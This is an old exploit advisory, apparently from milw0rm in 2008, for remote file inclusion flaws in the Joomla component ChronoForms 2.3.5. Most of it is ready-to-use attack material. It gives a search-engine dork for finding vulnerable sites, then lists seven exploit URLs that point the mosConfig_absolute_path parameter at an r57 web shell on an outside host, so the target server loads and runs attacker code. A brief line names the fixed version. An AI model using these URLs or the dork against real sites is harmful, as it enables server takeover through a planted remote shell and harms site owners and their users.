Bug - Joomla Component ChronoForms 2.3.5 RFI Vulnerabilities
+_________________________________________
By Crackers_Child
___________________________________________+
*
*
* [~] Script…….: CHRONOFORMS version V2.3.5
* [~] Down………: http://www.joomlaos.de/option,com_remository/Itemid,41/func,startdown/id,2810.html
* [~] Author…….: Crackers_Child | cybermilitan@hotmail.com & localexploit@hotmail.com
* [~] Class……..: Remote File İnclude Vulnerability
* [~] Dork………: inurl:/com_chronocontact
* [~] ForFix………: For Fix Your Script Download http://www.chronoengine.com/component/option,com_docman/task,cat_view/gid,27/ 2.3.7 Version
+_________________________________________________________________________+
+_______________________________________________________________________+
*
*
*
*
* [~] Exploit Rfi…:http://[Taget]/[Path]//administrator/components/com_chronocontact/excelwriter/PPS/
File.php?mosConfig_absolute_path=http://www.sibersavascilar.com/shelz/r57.txt?
*
*
* /administrator/components/com_chronocontact/excelwriter/Writer.php?mosConfig_absolute_path=
http://www.sibersavascilar.com/shelz/r57.txt?
*
* /administrator/components/com_chronocontact/excelwriter/PPS.php?mosConfig_absolute_path=
http://www.sibersavascilar.com/shelz/r57.txt?
*
* /administrator/components/com_chronocontact/excelwriter/Writer/BIFFwriter.php?mosConfig_absolute_path=
http://www.sibersavascilar.com/shelz/r57.txt?
*
* /administrator/components/com_chronocontact/excelwriter/Writer/Workbook.php?mosConfig_absolute_path=
http://www.sibersavascilar.com/shelz/r57.txt?
*
*
/administrator/components/com_chronocontact/excelwriter/Writer/Worksheet.php?mosConfig_absolute_path=
http://www.sibersavascilar.com/shelz/r57.txt?
*
* /administrator/components/com_chronocontact/excelwriter/Writer/Format.php?
mosConfig_absolute_path=http://www.sibersavascilar.com/shelz/r57.txt?
*
+______________________________________________________________________________+
[~] İnfo……: Kac Kere ölDunuz ki ” Olum Den Korkmuyorum Ben ” Diyebiliyorsunuz . . .
+______________________________________________________________+
+______________________________________________________________+
*
*
* [~] Special Thanx…….: str0ke, SiberSavascilar.com , (Cyber-Crime) , BiyoFrm.Com
*
+______________________________________________________________+
# milw0rm.com [2008-01-30]
